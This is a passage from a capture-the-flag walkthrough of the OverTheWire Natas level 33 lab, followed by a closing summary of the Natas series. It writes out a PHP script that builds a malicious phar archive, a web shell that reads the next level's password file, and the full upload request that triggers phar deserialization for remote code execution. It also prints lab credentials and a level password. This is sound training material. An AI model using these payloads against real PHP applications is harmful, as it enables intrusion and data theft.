<?php $phar = new Phar(‘test.phar’); $phar->startBuffering(); $phar->setStub(‘<?php __HALT_COMPILER(); ? >’); // Somehow required by PHP class Executor{ private $filename=’shell.php’; private $signature='[MD5 for the shell.php]’; } $object = new Executor(); $phar->setMetadata($object); $phar->addFromString(‘test.txt’, ‘text’); // Somehow required by PHP $phar->stopBuffering(); ?>
Create File
For the test.txt file, create an empty file.
As for shell.php, it’s the PHP file that executes our intended web shell functionalities. For instance:
<?php echo file_get_contents(‘/etc/natas_webpass/natas34’);
Save the file and calculate its MD5 digest (use md5_file(‘shell.php’)). Insert this hash into the signature variable and generate the test.phar file.
Now, we have two files – shell.php and test.phar. Upload these files to the server, keeping track of their locations. One way to achieve this is by intercepting the POST request and modifying the form-data filenames.
Supposing we uploaded these two files initially with their original names, the server will locate them under /natas33/upload/. Our next step is to exploit the md5_file() vulnerability by injecting a PHP object. This will trigger the __destruct() function, enabling the loading of our special variables and allowing us to bypass the if clause to access the passthru() function.
POST /index.php HTTP/1.1 Host: natas33.natas.labs.overthewire.org Content-Length: 420 Cache-Control: max-age=0 Authorization: Basic bmF0YXMzMzpzaG9vZ2VpR2EyeWVlM2RlNkFleDh1YVhlZWNoNWVleQ== Origin: http://natas33.natas.labs.overthewire.org Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryLyBTS2TxqLDkk37I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja;q=0.6 Connection: close ——WebKitFormBoundaryLyBTS2TxqLDkk37I Content-Disposition: form-data; name=”MAX_FILE_SIZE” 4096 ——WebKitFormBoundaryLyBTS2TxqLDkk37I Content-Disposition: form-data; name=”filename” phar://test.phar ——WebKitFormBoundaryLyBTS2TxqLDkk37I Content-Disposition: form-data; name=”uploadedfile”; filename=”test.phar” Content-Type: application/octet-stream File content doesn’t matter here… ——WebKitFormBoundaryLyBTS2TxqLDkk37I–
Upon examining the HTTP response, it becomes apparent that the initial __destruct() function fails to pass the if clause.
This occurs because the page itself generates the original object. However, the subsequent __destruct() function, triggered by our injected object, manages to bypass this restriction.
It successfully executes if(md5_file(‘shell.php’) == ‘[MD5 for shell.php]’), which validates as true. The passthru() function passes shell.php, resulting in the successful attainment of Remote Code Execution (RCE).
Password: shu5ouSu6eicielahhae0mohd4ui5uig
Conclusion
In conclusion, the Natas OverTheWire challenges offer a comprehensive exploration of web security vulnerabilities, ranging from basic to advanced levels.
They provide valuable insights into common threats like SQL injection, command injections, cryptography flaws, and more.
Through these challenges, participants can deepen their understanding of cybersecurity concepts and enhance their skills in identifying and mitigating potential risks within web applications.
Natas serves as an effective learning platform, fostering practical knowledge and awareness in the field of web security.